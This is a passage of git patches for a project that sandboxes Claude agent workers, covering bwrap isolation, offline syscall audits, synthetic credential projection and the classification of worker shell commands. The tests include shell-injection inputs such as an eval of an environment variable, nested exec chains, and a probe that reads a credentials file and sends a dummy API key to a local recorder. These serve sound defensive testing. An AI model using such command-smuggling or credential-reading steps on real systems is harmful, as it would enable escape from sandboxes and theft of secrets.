if(previous===undefined)delete process.env[keyName];else process.env[keyName]=previous; + const root=mkdtempSync(join(tmpdir(),"odysseus-worker-login-")),brain=join(root,"brain"),home=join(root,"home"),saved=join(home,".claude"),projected=join(root,"projected"); + for(const path of [brain,saved,projected])mkdirSync(path,{recursive:true}); + const credential=JSON.stringify({claudeAiOauth:{accessToken:"odysseus-offline-oauth",refreshToken:"odysseus-offline-refresh",expiresAt:1,scopes:["user:inference"],subscriptionType:"max"}}); + writeFileSync(join(saved,".credentials.json"),credential,{mode:0o600}); + const state=createClaudeWorkerState(brain,{HOME:home},{ledger:createStateLedger(),hostInference:false});state.populate(projected); + expect(readFileSync(join(projected,".credentials.json"),"utf8"),"PRODUCT_PROJECTS_DECLARED_FIXTURE_LOGIN").toBe(credential); + const seen:string[]=[];const recorder=Bun.serve({hostname:"127.0.0.1",port:0,fetch(req){seen.push(req.headers.get("x-api-key")??"");return new Response("Ithaca");}}); + const leave=nativeScriptedService(recorder.url.origin,{fixtureRoots:[root]}),tunnel=startNativeTurnProxyTunnel(recorder.url.origin,root); + try{ + const policy=compileSocketPolicy(),policyView="/tmp/brain-native-policy/native-connect",info=statSync(tunnel.socket,{bigint:true}); + const code='import os,json,http.client,urllib.parse\nassert "ANTHROPIC_UNIX_SOCKET" not in os.environ,"WORKER_AUTH_MODE_UNCHANGED"\nassert open(os.environ["CLAUDE_CONFIG_DIR"]+"/.credentials.json").read()=='+JSON.stringify(credential)+' ,"WORKER_PROJECTED_LOGIN_UNCHANGED"\nu=urllib.parse.urlsplit(os.environ["ANTHROPIC_BASE_URL"]);c=http.client.HTTPConnection(u.hostname,u.port);c.request("POST","/v1/messages",headers={"x-api-key":os.environ["ANTHROPIC_API_KEY"]});r=c.getresponse();assert r.read()==b"Ithaca"\nprint("WORKER_PRODUCT_CREDENTIAL_VIEW_PRESERVED")'; + const gate=["/usr/bin/prlimit","--nofile=1024:1024","--","/bin/sh","-c",'IFS= read -r go && [ "$go" = go ] || exit 125; exec "$@"',"brain-worker-state-gate"]; + const argv=nativeUnrelayedWorkerPayloadCommand([...gate,"/usr/bin/python3","-I","-S","-c",code],payload=>[policyView,"--head",nativeTestHead(),"--socket",WORKER_TURN_PROXY,"--device",String(info.dev),"--inode",String(info.ino),"--allowed",WORKER_TURN_PROXY,...nativeTurnProxyArguments(tunnel.socket,WORKER_TURN_PROXY),"--",...payload]); + expect(argv.slice(0,gate.length),"STATE_GATE_PRECEDES_TRUSTED_FORWARDER").toEqual(gate);expect(argv[gate.length+1]).toEndWith("/egress-worker-entry.ts"); + const child=Bun.spawn(["bwrap","--unshare-user","--unshare-net","--unshare-pid","--ro-bind","/","/","--tmpfs","/tmp","--dir","/tmp/brain-native-policy","--ro-bind",policy,policyView,"--ro-bind",projected,"/tmp/brain-worker-state","--tmpfs","/run","--dir","/run/brain-egress","--ro-bind",tunnel.socket,WORKER_TURN_PROXY,"--proc","/proc","--dev","/dev","--",...argv],{env:{PATH:"/usr/bin:/bin",CLAUDE_CONFIG_DIR:"/tmp/brain-worker-state",...profileEnv,...nativeDirectTransportEnvironment({},false)},stdin:"pipe",stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)}); + child.stdin.write("go\n");child.stdin.end();const[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(exit,"WORKER_PRODUCT_CREDENTIAL_VIEW_PRESERVED "+err).toBe(0);expect(out).toContain("WORKER_PRODUCT_CREDENTIAL_VIEW_PRESERVED");expect(seen,"DECLARED_API_KEY_REACHES_RECORDER_UNCHANGED").toEqual([declaredKey]); + }finally{tunnel.dispose();leave();recorder.stop(true);state.release();rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-host-login-mask.test.ts b/tests/native-host-login-mask.test.ts new file mode 100644 index 0000000000..d48a491bfd --- /dev/null +++ b/tests/native-host-login-mask.test.ts @@ -0,0 +1,21 @@ +import {expect,test} from "bun:test"; +import {mkdtempSync,mkdirSync,writeFileSync,readFileSync,rmSync} from "node:fs"; +import {join} from "node:path"; +import ts from "typescript"; +import {prepareWorkerSandbox,workerCommand} from "../packages/ui-sdk/src/server/worker-launcher"; +import {workerPlanMasksHostLogin} from "../packages/ui-backend-claude/tests/helpers/native-host-login-mask"; +test("actual turn runner puts the host login mask on the production worker plan",()=>{ + const root=mkdtempSync("/var/tmp/odysseus-host-login-plan-"),brain=join(root,"brain"),home=join(root,"outside-home"),config=join(home,".claude"),login=join(config,".credentials.json"); + mkdirSync(brain);mkdirSync(config,{recursive:true});writeFileSync(login,"odysseus-synthetic-login"); + try{ + const file=join(import.meta.dir,"../packages/ui-backend-claude/src/turn-runner.ts"),source=ts.createSourceFile(file,readFileSync(file,"utf8"),ts.ScriptTarget.Latest,true); + let fn:ts.FunctionDeclaration|undefined;function visit(node:ts.Node){if(ts.isFunctionDeclaration(node)&&node.name?.text==="buildSdkTurn")fn=node;ts.forEachChild(node,visit);}visit(source);expect(fn).toBeDefined(); + const js=ts.transpileModule(fn!.getText(source)+';return buildSdkTurn;',{compilerOptions:{target:ts.ScriptTarget.ES2022}}).outputText; + const build=new Function("createClaudeSdkTurn","VOICE_ALLOWED_TOOLS","DEFAULT_ALLOWED_TOOLS",js)((input:unknown)=>input,[],[]); + const built=build({options:{backend:{}}},{req:{workerSandbox:{maskPaths:[]}},profile:{},abortController:new AbortController()},{egress:{dir:"/run/odysseus-test-relay"},baseUrl:"http://localhost",hostLogin:{mask:[login]}},undefined); + const sandbox=prepareWorkerSandbox(brain,{profile:"governed",areas:[],maskPaths:built.req.workerSandbox.maskPaths}); + expect(sandbox.profile,sandbox.fallbackReason).toBe("governed"); + const argv=workerCommand({brainPath:brain,sandbox,env:{},command:["/bin/true"]}); + expect(workerPlanMasksHostLogin(argv,login),"OUTSIDE_MASKS_PRODUCTION_LOGIN_MASK_PRESENT").toBe(true); + }finally{rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 53822493fd..a570f6a39d 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -1191,3 +1191,47 @@ test("direct and trusted worker plans admit only a registered turn-proxy endpoin expect(result.code,result.output).toBe(0); }finally{rmSync(scratch,{recursive:true,force:true});} }); + +test("every native launch path preserves the product's Unix-socket auth intent",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-all-native-auth-")); + try{ + const result=await probe(`${imports} + import {writeFileSync} from "node:fs";import {spyOn} from "bun:test"; + import * as launcher from ${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/worker-launcher.ts"))}; + import {WORKER_IDENTITY_SUPERVISOR} from ${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/worker-identity-program.ts"))}; + import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; + spyOn(launcher,"verifiedWorkerIdentity").mockReturnValue({identity:"separate_uid",workerUid:(process.getuid()||21000)+1}); + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const recorder=Bun.serve({port:0,fetch:()=>new Response("Ithaca")});const leave=nativeScriptedService(recorder.url.origin,{fixtureRoots:[${JSON.stringify(scratch)}]}); + const source=${JSON.stringify(join(scratch,"product-inference.sock"))},target="/run/brain-egress/inference.sock",relay=Bun.serve({unix:source,fetch:()=>new Response("Ithaca")}); + const declaredKey="sk-ant-api03-"+"d".repeat(95)+"AA",completed=[]; + for(const path of ["direct","prewarm","worker","relayed","separate-UID"]){ + for(const productSocket of (path==="relayed"?[true]:[false,true])){ + const env={HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:recorder.url.origin,ANTHROPIC_API_KEY:productSocket?"brain-inference-relay-placeholder":declaredKey,...(productSocket?{ANTHROPIC_UNIX_SOCKET:target}:{})}; + let argv,dispose; + if(path==="direct"||path==="prewarm"){ + // SDK prewarm uses the direct process transport with --await-claim; + // prewarm through a worker spawn callback is covered by the worker rows. + const boundary=nativeClaudeBoundary(${JSON.stringify(runtime)},path==="prewarm"?["--await-claim"]:[],{cwd:${JSON.stringify(scratch)},env:{...env,...(productSocket?{ANTHROPIC_UNIX_SOCKET:source}:{})}});argv=boundary.argv;dispose=boundary.dispose; + }else{ + const gates=productSocket?[]:["/usr/bin/prlimit","--nofile=1024:1024","--","/bin/sh","-c",'IFS= read -r go && [ "$go" = go ] || exit 125; exec "$@"',"brain-worker-state-gate","/bin/sh","-c",'IFS= read -r go <&4 && [ "$go" = go ] || exit 125; exec 4<&-; exec "$@"',"brain-worker-start-gate"]; + const payload=["bwrap",...(productSocket?["--ro-bind",source,target]:[]),"--",...gates,${JSON.stringify(runtime)}]; + const outer=path==="separate-UID"?["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:payload})]:payload; + const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env,argv:outer})});argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;dispose=plan.dispose; + if(path==="separate-UID")argv=JSON.parse(argv[5]).argv; + } + if(!productSocket&&!["direct","prewarm"].includes(path)){const gate=argv.indexOf("brain-worker-start-gate"),entry=argv.findIndex(arg=>arg.endsWith("/egress-worker-entry.ts")),broker=argv.findIndex((arg,index)=>arg.endsWith("/native-connect")&&argv[index+1]==="--head");if(!(gate>=0&&entry>gate&&broker>entry))throw Error("REAL_WORKER_PLAN_GATES_THEN_FORWARDER_THEN_FILTER:"+path);} + const injected={};for(let i=0;i{ + const env={BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/bin/true"],argv:["/bin/sh","-c","exec sleep 30"],env:{}})}; + const boundary=nativeWorkerBoundary(env);expect(boundary.native,"NON_NATIVE_STANDIN_SKIPS_NATIVE_AGREEMENT").toBe(false);expect(boundary.env).toBe(env); + expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c","exec sleep 30"])).toBe(false); +}); +for(const mode of ["native-argv","native-command","shell-native","shell-missing","shell-dynamic","shell-nested","shell-sequence","shell-eval","supervisor-native"] as const)test(`native worker admission refuses ${mode} mismatch`,async()=>{ + const code=`import {nativeWorkerBoundary} from ${JSON.stringify(guard)}; + import {WORKER_IDENTITY_SUPERVISOR} from ${JSON.stringify(join(import.meta.dir,"../packages/ui-sdk/src/server/worker-identity-program.ts"))}; + const runtime=${JSON.stringify(runtime)},mode=${JSON.stringify(mode)}; + let command=["/bin/true"],argv=["bwrap","--",runtime]; + if(mode==="native-command"){command=[runtime];argv=["bwrap","--","/bin/true"];} + if(mode==="shell-native")argv=["/bin/sh","-c","exec "+runtime]; + if(mode==="shell-nested")argv=["/bin/sh","-c","exec /bin/sh -c "+JSON.stringify("exec "+runtime)]; + if(mode==="shell-sequence")argv=["/bin/sh","-c","true; "+runtime]; + if(mode==="shell-eval")argv=["/bin/sh","-c",'true; eval "$ODYSSEUS_COMMAND"']; + if(mode==="shell-missing")argv=["/bin/sh","-c","exec /odysseus-unresolvable-runtime"]; + if(mode==="shell-dynamic")argv=["/bin/sh","-c",'exec "$ODYSSEUS_RUNTIME"']; + if(mode==="supervisor-native")argv=["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:["bwrap","--",runtime]})]; + try{nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command,argv,env:{}})});}catch{}`; + const child=spawnGuardFixture([process.execPath,"-e",code]);const[exit,out]=await Promise.all([child.exited,child.guardOutput()]); + expect(exit,"NATIVE_OR_UNKNOWN_WORKER_MISMATCH_REFUSED "+mode).not.toBe(0);expect(out).toContain("worker command and executable argv disagree"); +}); + +test("unresolvable executable and dynamic exec targets never classify as non-native",()=>{ + for(const argv of [["/odysseus-missing-executable"],["/bin/sh","-c",'exec "$ODYSSEUS_RUNTIME"'],["/bin/sh","-c","exec /odysseus-missing-executable"]])expect(nativeWorkerArgvNeedsIsolation(argv),"UNKNOWN_WORKER_EXECUTABLE_REQUIRES_ISOLATION").toBe(true); +}); From 56633b93e595d0b3558c898b94141342661a716d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 18:48:48 +0000 Subject: [PATCH 084/187] fix: classify pinned status wrapper payloads recursively --- scripts/test-native-guard.ts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 915dabcb7e..a192921dd8 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1247,7 +1247,8 @@ export function nativeWorkerArgvNeedsIsolation(argv:readonly string[],context:Sp const script=argv[flag+1];if(script===undefined)return true; // These pinned product gates exec only their supplied argv, scanned above. const knownGate=(script==='IFS= read -r go && [ "$go" = go ] || exit 125; exec "$@"'&&argv[flag+2]==="brain-worker-state-gate"||script==='IFS= read -r go <&4 && [ "$go" = go ] || exit 125; exec 4<&-; exec "$@"'&&argv[flag+2]==="brain-worker-start-gate"); - if(knownGate&&argv.length>flag+3)continue; + if(knownGate&&argv.length>flag+3){if(nativeWorkerArgvNeedsIsolation(argv.slice(flag+3),context,depth+1))return true;continue;} + if(script==='exec 3>"$1"; exec 4<"$2"; shift 2; exec "$@"'&&argv[flag+2]==="brain-worker-status"&&argv.length>flag+5){if(nativeWorkerArgvNeedsIsolation(argv.slice(flag+5),context,depth+1))return true;continue;} if(/(?:^|[;&|()\n])\s*(?:eval|source|\.)\s/.test(script))return true; for(const token of script.matchAll(/[^\s'";&|<>(){}\[\]]+/g))if(isNativeClaude(token[0],[],context))return true; const execs=[...script.matchAll(/(?:^|[;&|()\n])\s*exec(?:\s+|$)/g)]; From 5b954125d79e34f1684e2616d6caa2157bd8c285 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 18:49:57 +0000 Subject: [PATCH 085/187] test: retain fixed RTK failure sources and final audit verdicts --- scripts/native-rtk-diagnostics.ts | 7 ++++++- scripts/test-native-guard.ts | 18 +++++++++--------- tests/native-rtk-diagnostics.test.ts | 7 ++++++- tests/native-startup-audit.test.ts | 2 +- 4 files changed, 22 insertions(+), 12 deletions(-) diff --git a/scripts/native-rtk-diagnostics.ts b/scripts/native-rtk-diagnostics.ts index 7056ebeeaa..2fc0e4ad3f 100644 --- a/scripts/native-rtk-diagnostics.ts +++ b/scripts/native-rtk-diagnostics.ts @@ -14,6 +14,11 @@ export function nativeRtkExecutableLabel(error:unknown):string|undefined { if(nativeRtkFailureCategory(error)!=="exe-mismatch"||!(error instanceof Error))return; return ["basename-equal-but-path-differs","different-basename","unavailable"].includes(String(error.cause))?String(error.cause):"unavailable"; } +export function nativeRtkUnavailableLabels(error:unknown):{source:string;errno:string}|undefined { + if(!(error instanceof Error)||error.message!=="native fixture RTK executable unavailable")return; + const cause=error.cause as {source?:unknown;errno?:unknown}|undefined; + return {source:["canonicalize-selected","read-proc-exe"].includes(String(cause?.source))?String(cause?.source):"unknown",errno:["ENOENT","EACCES","EPERM","ESRCH","ELOOP","ENOTDIR"].includes(String(cause?.errno))?String(cause?.errno):"unknown"}; +} export function diagnoseNativeFixtureRtk(register:()=>void):void { - try{register();}catch(error){nativeReceipt({kind:"native-fixture-rtk-registration",head:nativeTestHead(),success:false,category:nativeRtkFailureCategory(error),...(nativeRtkExecutableLabel(error)?{executableLabel:nativeRtkExecutableLabel(error)}:{})});throw error;} + try{register();}catch(error){nativeReceipt({kind:"native-fixture-rtk-registration",head:nativeTestHead(),success:false,category:nativeRtkFailureCategory(error),...nativeRtkUnavailableLabels(error),...(nativeRtkExecutableLabel(error)?{executableLabel:nativeRtkExecutableLabel(error)}:{})});throw error;} } diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index a192921dd8..bafe2f0916 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -472,13 +472,6 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c } let trace = ""; try { trace = readFileSync(log, "utf8"); } catch { /* Missing evidence is a failed receipt. */ } - if (diagnosticRoot) { - for(const failure of nativeStartupOpenStages(trace,expected,process.execPath))nativeReceipt({kind:"native-fixture-startup-open",head:nativeTestHead(),...failure}); - for(const metadata of nativeDeviceMetadata(trace))nativeReceipt({kind:"native-fixture-device-metadata",head:nativeTestHead(),...metadata}); - try { writeFileSync(join(diagnosticRoot, `native-startup-audit-${directoryStamp.ino}.json`), - JSON.stringify({ kind: "native-fixture-startup-audit", head: nativeTestHead(), text: scrubNativeStartupTrace(trace,diagnosticFixtureRoots),deviceMetadata:nativeDeviceMetadata(trace),failedOpenStages:nativeStartupOpenStages(trace,expected,process.execPath) }), { flag: "wx", mode: 0o600 }); } - catch { nativeReceipt({kind:"native-fixture-startup-audit-failure",head:nativeTestHead(),success:false,reason:"startup audit snapshot unavailable"}); } - } // Wider diagnostics may contain syscall-looking filenames; only actual // connect/exec records participate in the security receipt. const auditTrace = diagnosticRoot ? trace.split("\n").filter(line => /^\s*(?:[0-9]+\s+)?(?:execve\(|(?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4)\(|<\.\.\. (?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4) resumed>)/.test(line)).join("\n") : trace; @@ -486,6 +479,13 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c if (!nativeLaunched) denied++; receipt = { kind: "native-offline-audit", head: nativeTestHead(), nativeLaunched, success: nativeLaunched, ...(!nativeLaunched ? { reason: "native exec was not observed" } : {}), deniedConnects: deniedNativeConnects(auditTrace) }; + if (diagnosticRoot) { + for(const failure of nativeStartupOpenStages(trace,expected,process.execPath))nativeReceipt({kind:"native-fixture-startup-open",head:nativeTestHead(),...failure}); + for(const metadata of nativeDeviceMetadata(trace))nativeReceipt({kind:"native-fixture-device-metadata",head:nativeTestHead(),...metadata}); + try { writeFileSync(join(diagnosticRoot, `native-startup-audit-${directoryStamp.ino}.json`), + JSON.stringify({ kind: "native-fixture-startup-audit", head: nativeTestHead(), text: scrubNativeStartupTrace(trace,diagnosticFixtureRoots),deviceMetadata:nativeDeviceMetadata(trace),failedOpenStages:nativeStartupOpenStages(trace,expected,process.execPath), verdict:receipt }), { flag: "wx", mode: 0o600 }); } + catch { nativeReceipt({kind:"native-fixture-startup-audit-failure",head:nativeTestHead(),success:false,reason:"startup audit snapshot unavailable"}); } + } const socketDenials=deniedNativeSocketOperations(auditTrace); if(socketDenials)nativeReceipt({kind:"native-offline-socket-denial",head:nativeTestHead(),success:false,reason:"native socket operation denied",count:socketDenials}); nativeReceipt({...receipt}); @@ -943,7 +943,7 @@ export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/s const record=nativeFixtureRtkSpawns.get(worker.pid); if(!record)throw Error("native fixture RTK spawn is unregistered"); if(processStart(worker.pid)!==record.start)throw Error("native fixture RTK root identity changed"); - const expected=[...new Set(record.expected.map(path=>{try{return realpathSync(path);}catch{throw Error("native fixture RTK executable unavailable",{cause:"unavailable"});}}))]; + const expected=[...new Set(record.expected.map(path=>{try{return realpathSync(path);}catch(error){throw Error("native fixture RTK executable unavailable",{cause:{source:"canonicalize-selected",errno:(error as NodeJS.ErrnoException).code}});}}))]; if(expected.length!==1)throw Error("native fixture RTK runtime selection ambiguous"); const owned=new Map(),pending=[worker.pid]; while(pending.length){ @@ -954,7 +954,7 @@ export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/s for(const [pid,auditedStart] of record.liveExecs()){ const start=owned.get(pid);if(!start)continue; if(start!==auditedStart)throw Error("native fixture RTK audited identity changed"); - let executable:string;try{executable=realpathSync(`/proc/${pid}/exe`);}catch{throw Error("native fixture RTK executable unavailable",{cause:"unavailable"});} + let executable:string;try{executable=realpathSync(`/proc/${pid}/exe`);}catch(error){throw Error("native fixture RTK executable unavailable",{cause:{source:"read-proc-exe",errno:(error as NodeJS.ErrnoException).code}});} if(!expected.includes(executable))throw Error("native fixture RTK executable changed",{cause:expected.some(path=>basename(path)===basename(executable))?"basename-equal-but-path-differs":"different-basename"}); if(processStart(pid)!==start)throw Error("native fixture RTK payload identity changed");selected.push(pid); } diff --git a/tests/native-rtk-diagnostics.test.ts b/tests/native-rtk-diagnostics.test.ts index 6896d9d32d..d508e0dd8b 100644 --- a/tests/native-rtk-diagnostics.test.ts +++ b/tests/native-rtk-diagnostics.test.ts @@ -1,6 +1,6 @@ import { expect,test } from "bun:test"; import { join } from "node:path"; -import { nativeRtkFailureCategory,nativeRtkExecutableLabel } from "../scripts/native-rtk-diagnostics"; +import { nativeRtkFailureCategory,nativeRtkExecutableLabel,nativeRtkUnavailableLabels } from "../scripts/native-rtk-diagnostics"; import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; const cases={"no-owned-match":"native fixture RTK payload missing","multiple-match":"native fixture RTK payload ambiguous","start-mismatch":"native fixture RTK audited identity changed","exe-mismatch":"native fixture RTK executable changed","launch-mismatch":"native fixture RTK spawn is unregistered","register-refused":"unrecognized adapter failure"}; for(const [category,message] of Object.entries(cases))test(`RTK diagnostic emits ${category} and rethrows`,async()=>{ @@ -25,3 +25,8 @@ test("RTK executable labels retain only fixed mismatch predicates",()=>{ expect(nativeRtkExecutableLabel(Error("native fixture RTK executable changed",{cause:"/home/private-owner/runtime"}))).toBe("unavailable"); expect(nativeRtkExecutableLabel(Error("other",{cause:"different-basename"}))).toBeUndefined(); }); + +test("RTK unavailable source and errno are fixed labels",()=>{ + for(const source of ["canonicalize-selected","read-proc-exe"])for(const errno of ["ENOENT","EACCES","EPERM","ESRCH","ELOOP","ENOTDIR"])expect(nativeRtkUnavailableLabels(Error("native fixture RTK executable unavailable",{cause:{source,errno}}))).toEqual({source,errno}); + expect(nativeRtkUnavailableLabels(Error("native fixture RTK executable unavailable",{cause:{source:"/home/private-owner",errno:"secret"}}))).toEqual({source:"unknown",errno:"unknown"}); +}); diff --git a/tests/native-startup-audit.test.ts b/tests/native-startup-audit.test.ts index 1ac0e794bb..6cc2d434d4 100644 --- a/tests/native-startup-audit.test.ts +++ b/tests/native-startup-audit.test.ts @@ -42,7 +42,7 @@ for(const writeFailure of [false,true]) test(`identity audit snapshots sanitized const audit=JSON.parse(err.split("\n").find(line=>line.startsWith('{"kind":"native-offline-audit"'))!);expect(audit.deniedConnects).toBe(0); const snapshots=JSON.parse(out);expect(snapshots).toHaveLength(writeFailure?0:1); if(writeFailure) { expect(err).toContain('"kind":"native-fixture-startup-audit-failure"');expect(err).toContain('"nativeLaunched":true,"success":true'); } - else {expect(snapshots[0].deviceMetadata,"RETAINED_DEVICE_METADATA_SURVIVES_CHANNEL_TEARDOWN").toEqual([{device:"urandom",mode:0o666,uid:65534,gid:65534,nodev:true,nosuid:true,ro:false}]);expect(snapshots[0].failedOpenStages,"RETAINED_OPEN_STAGE_SURVIVES_CHANNEL_TEARDOWN").toEqual([{stage:"payload",execPosition:1,device:"urandom",error:"EACCES"}]);expect(snapshots[0].text).toContain("EAGAIN");expect(snapshots[0].text).not.toContain("SIRENS_PRIVATE_PROMPT");expect(snapshots[0].text).not.toContain("sk-ant-");} + else {expect(snapshots[0].verdict,"RETAINED_FINAL_AUDIT_VERDICT_SURVIVES_CHANNEL_TEARDOWN").toMatchObject({kind:"native-offline-audit",nativeLaunched:true,success:true});expect(snapshots[0].deviceMetadata,"RETAINED_DEVICE_METADATA_SURVIVES_CHANNEL_TEARDOWN").toEqual([{device:"urandom",mode:0o666,uid:65534,gid:65534,nodev:true,nosuid:true,ro:false}]);expect(snapshots[0].failedOpenStages,"RETAINED_OPEN_STAGE_SURVIVES_CHANNEL_TEARDOWN").toEqual([{stage:"payload",execPosition:1,device:"urandom",error:"EACCES"}]);expect(snapshots[0].text).toContain("EAGAIN");expect(snapshots[0].text).not.toContain("SIRENS_PRIVATE_PROMPT");expect(snapshots[0].text).not.toContain("sk-ant-");} }finally{fs.rmSync(root,{recursive:true,force:true});} }); From 768ca2f5e6fe32082083a0ee535a27a228f2c527 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 18:56:59 +0000 Subject: [PATCH 086/187] fix: recognize pinned keyless host qualification shell shape --- scripts/test-native-guard.ts | 12 +++++++++++- tests/native-worker-classification.test.ts | 17 ++++++++++++++++- 2 files changed, 27 insertions(+), 2 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index bafe2f0916..1f1a94860a 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1228,6 +1228,11 @@ export function nativeUnrelayedWorkerPayloadCommand(payload:string[],protect:(ar return [...payload.slice(0,gates),process.execPath,join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"),"--direct-loopback",...protect(nativeDirectTransportCommand(payload.slice(gates)))]; } +/** Exact product shell forms; source equality is asserted by the classification suite. */ +export const nativeProductShellWrappers = [ + {name:"status",script:'exec 3>"$1"; exec 4<"$2"; shift 2; exec "$@"'}, + {name:"host-probe",script:'cd / && exec "$0" --no-env-file -e "$1"'}, +] as const; /** Only positively non-native worker plans bypass native admission checks. */ export function nativeWorkerArgvNeedsIsolation(argv:readonly string[],context:SpawnContext={},depth=0):boolean { if(depth>8)return true; @@ -1248,7 +1253,12 @@ export function nativeWorkerArgvNeedsIsolation(argv:readonly string[],context:Sp // These pinned product gates exec only their supplied argv, scanned above. const knownGate=(script==='IFS= read -r go && [ "$go" = go ] || exit 125; exec "$@"'&&argv[flag+2]==="brain-worker-state-gate"||script==='IFS= read -r go <&4 && [ "$go" = go ] || exit 125; exec 4<&-; exec "$@"'&&argv[flag+2]==="brain-worker-start-gate"); if(knownGate&&argv.length>flag+3){if(nativeWorkerArgvNeedsIsolation(argv.slice(flag+3),context,depth+1))return true;continue;} - if(script==='exec 3>"$1"; exec 4<"$2"; shift 2; exec "$@"'&&argv[flag+2]==="brain-worker-status"&&argv.length>flag+5){if(nativeWorkerArgvNeedsIsolation(argv.slice(flag+5),context,depth+1))return true;continue;} + const wrapper=nativeProductShellWrappers.find(shape=>shape.script===script); + if(wrapper?.name==="status"&&argv[flag+2]==="brain-worker-status"&&argv.length>flag+5){if(nativeWorkerArgvNeedsIsolation(argv.slice(flag+5),context,depth+1))return true;continue;} + if(wrapper?.name==="host-probe"&&argv.length===flag+4){ + let target:string;try{target=realpathSync(resolveExecutable(argv[flag+2]!,context));}catch{return true;} + if(nativeWorkerArgvNeedsIsolation([target,"--no-env-file","-e",argv[flag+3]!],context,depth+1))return true;continue; + } if(/(?:^|[;&|()\n])\s*(?:eval|source|\.)\s/.test(script))return true; for(const token of script.matchAll(/[^\s'";&|<>(){}\[\]]+/g))if(isNativeClaude(token[0],[],context))return true; const execs=[...script.matchAll(/(?:^|[;&|()\n])\s*exec(?:\s+|$)/g)]; diff --git a/tests/native-worker-classification.test.ts b/tests/native-worker-classification.test.ts index a5b2b658ce..ac49d0cce7 100644 --- a/tests/native-worker-classification.test.ts +++ b/tests/native-worker-classification.test.ts @@ -1,7 +1,8 @@ +import {readFileSync} from "node:fs"; import {expect,test} from "bun:test"; import {createRequire} from "node:module"; import {join} from "node:path"; -import {nativeWorkerArgvNeedsIsolation,nativeWorkerBoundary} from "../scripts/test-native-guard"; +import {nativeProductShellWrappers,nativeWorkerArgvNeedsIsolation,nativeWorkerBoundary} from "../scripts/test-native-guard"; import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"),requireSdk=createRequire(createRequire(import.meta.url).resolve("@anthropic-ai/claude-agent-sdk")),runtime=requireSdk.resolve("@anthropic-ai/claude-agent-sdk-linux-x64/claude"); @@ -31,3 +32,17 @@ for(const mode of ["native-argv","native-command","shell-native","shell-missing" test("unresolvable executable and dynamic exec targets never classify as non-native",()=>{ for(const argv of [["/odysseus-missing-executable"],["/bin/sh","-c",'exec "$ODYSSEUS_RUNTIME"'],["/bin/sh","-c","exec /odysseus-missing-executable"]])expect(nativeWorkerArgvNeedsIsolation(argv),"UNKNOWN_WORKER_EXECUTABLE_REQUIRES_ISOLATION").toBe(true); }); + +test("pinned host qualification probe classifies its explicit positional executable",()=>{ + const script='cd / && exec "$0" --no-env-file -e "$1"'; + expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",script,process.execPath,"console.log('fixture')"]),"PINNED_HOST_PROBE_IS_POSITIVELY_NON_NATIVE").toBe(false); + expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",script,runtime,"fixture"]),"PINNED_HOST_PROBE_NATIVE_TARGET_STAYS_FILTERED").toBe(true); + expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",script,process.execPath,"fixture","extra"]),"PINNED_HOST_PROBE_EXACT_SHAPE_REQUIRED").toBe(true); +}); + +test("recognized product shell table matches every pinned production source string",()=>{ + const source=readFileSync(join(import.meta.dir,"../packages/ui-sdk/src/server/worker-launcher.ts"),"utf8"); + expect(nativeProductShellWrappers.map(row=>row.name)).toEqual(["status","host-probe"]); + for(const row of nativeProductShellWrappers)expect(source,"PINNED_PRODUCT_SHELL_SOURCE_MATCH "+row.name).toContain("'"+row.script+"'"); + 